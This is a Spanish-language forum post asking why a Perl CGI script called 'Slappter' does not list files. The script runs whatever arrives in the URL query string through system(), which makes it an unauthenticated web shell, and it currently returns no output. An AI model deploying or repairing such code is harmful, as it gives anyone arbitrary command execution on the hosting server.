Cita:
Iniciado por monoswim
tienes que usar print "\n" si estás en linux...
En windows sería un print "\n\r"; o print "\r\n"; no me acuerdo cual va porimero, si el salto de línea o el retorno de carro...
Pruébalo y dime como te fué
Saludos
PD: Se que LS es de linux nomás, pero te coloco lo de windows por las dudas...
Tampoco
Aca el codigo:
Código:
#!/usr/bin/perl
print "Content-type: text/html\n\n" ;
print <<HEAD;
<html>
<head><title>Slappter</title></head>
<body>
HEAD
print "Tu IP es: $ENV{'REMOTE_ADDR'}";
print "<br><br>";
print "Comando: $ENV{'QUERY_STRING'}";
print "<br><br>";
@ls = system("$ENV{'QUERY_STRING'}");
foreach $s (@ls)
{
print "$s";
print "\n";
}
print <<BODY;
</body>
</html>
BODY
exit;
No funciona
Prueben el código y veran lo que les digo. Hagan: "www.web.com/archivo.cgi?COMANDO" luego de haberlo subido y veran que no realiza el resultado esperado (crear una lista de los archivos)
De todas formas gracias por ayudarme monoswim de verdad lo aprecio